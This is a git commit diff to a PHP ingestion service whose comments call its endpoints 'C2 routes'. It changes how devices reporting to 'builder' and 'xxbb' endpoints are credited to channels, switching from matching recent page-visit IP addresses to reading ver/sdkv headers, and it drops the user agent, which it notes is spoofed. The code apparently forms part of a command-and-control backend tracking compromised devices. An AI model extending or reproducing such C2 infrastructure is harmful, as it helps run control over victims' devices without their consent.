feat: new channel

This commit is contained in:
hashbro
2026-08-15 02:56:38 +08:00
parent 5453d9d69b
commit 7c0066562f
45 changed files with 1686 additions and 965 deletions
+30 -55
View File
@@ -151,7 +151,8 @@ class IngestService
/**
* Other C2 routes — create device if missing so business rows can attach.
* Old builder: never write channel_id here (put will fill it later).
* New builder: IP-match iptj on create and when channel_id is still empty.
* New builder core (`/a`, `/u`, `/event`): channel_id from ver/sdkv headers when present.
* Other new-builder routes: create device without writing channel_id.
*/
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
@@ -162,7 +163,7 @@ class IngestService
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
if ($this->isNewBuilderRequest($request)) {
if ($this->isNewBuilderRequest($request) && $this->isXxbbCoreRequest($request)) {
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
return $existing->refresh();
@@ -251,15 +252,19 @@ class IngestService
/**
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
* New xxbb short paths (`/event`, `/u`, …): never write native `c`;
* attribute via recent PageVisit IP. Device is still created if no visit matches.
* New xxbb core (`/a`, `/u`, `/event`): channel_id from request header `ver` or `sdkv`.
* Other xxbb short paths: never write channel_id (device may still be created).
*
* @return array{channel_id: ?string, source_domain: ?string}
*/
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
{
if ($this->isNewBuilderRequest($request)) {
return $this->matchNewBuilderVisit($request->ip());
if (! $this->isXxbbCoreRequest($request)) {
return ['channel_id' => null, 'source_domain' => null];
}
return $this->channelFromVerHeaders($request);
}
if ($allowOldC) {
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
@@ -273,69 +278,35 @@ class IngestService
return (bool) $request->attributes->get('coruna_new_builder', false);
}
private function isXxbbCoreRequest(Request $request): bool
{
return (bool) $request->attributes->get('coruna_xxbb_core', false);
}
/**
* Latest iptj/pixel visit in the last N minutes whose channel_id is a
* new-builder channel, and no device from this client IP has already
* claimed that channel. Same IPv4 / IPv4-mapped IPv6 is preferred;
* otherwise a recent visit still matches across address families
* (Safari iptj is often v4, native /event often v6).
* Core reports ver/sdkv as the per-channel patch string (X.Y.ZZ, 6 chars).
* Missing or invalid headers → null channel_id; device is still created.
*
* @return array{channel_id: ?string, source_domain: ?string}
*/
private function matchNewBuilderVisit(?string $ip): array
private function channelFromVerHeaders(Request $request): array
{
$ip = PageVisit::normalizeIp($ip);
if ($ip === '') {
return ['channel_id' => null, 'source_domain' => null];
}
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
$visits = PageVisit::query()
->where('created_at', '>=', now()->subMinutes($minutes))
->orderByDesc('id')
->get();
if ($visits->isEmpty()) {
return ['channel_id' => null, 'source_domain' => null];
}
$ipKeys = PageVisit::ipLookupKeys($ip);
$sameIp = $visits->filter(
static fn (PageVisit $visit) => in_array(PageVisit::normalizeIp($visit->ip), $ipKeys, true)
);
foreach ($sameIp->concat($visits->diff($sameIp)) as $visit) {
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
if ($code === null) {
foreach (['ver', 'sdkv'] as $header) {
$raw = trim((string) $request->header($header, ''));
if ($raw === '') {
continue;
}
$channel = Channel::query()
->where('channel_id', $code)
->where('builder_type', Channel::BUILDER_NEW)
->first();
if ($channel === null) {
continue;
$code = Channel::normalizeNewChannelId($raw);
if ($code !== null) {
return ['channel_id' => $code, 'source_domain' => null];
}
$claimed = Device::query()
->where('channel_id', $code)
->whereIn('ip', $ipKeys)
->exists();
if ($claimed) {
continue;
}
$domain = $this->sourceDomainFromVisit($visit);
return ['channel_id' => $code, 'source_domain' => $domain];
}
return ['channel_id' => null, 'source_domain' => null];
}
private function sourceDomainFromVisit(PageVisit $visit): ?string
{
return PageVisit::normalizeDomain($visit->domain);
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
{
$ua = substr((string) $request->userAgent(), 0, 2000);
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$attrs = [
'device_id' => $deviceKey,
@@ -345,8 +316,12 @@ class IngestService
'channel_id' => $attr['channel_id'],
'source_domain' => $attr['source_domain'],
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
// xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
if (! $this->isNewBuilderRequest($request)) {
$ua = substr((string) $request->userAgent(), 0, 2000);
if ($ua !== '') {
$attrs['user_agent'] = $ua;
}
}
$device = Device::query()->create($attrs);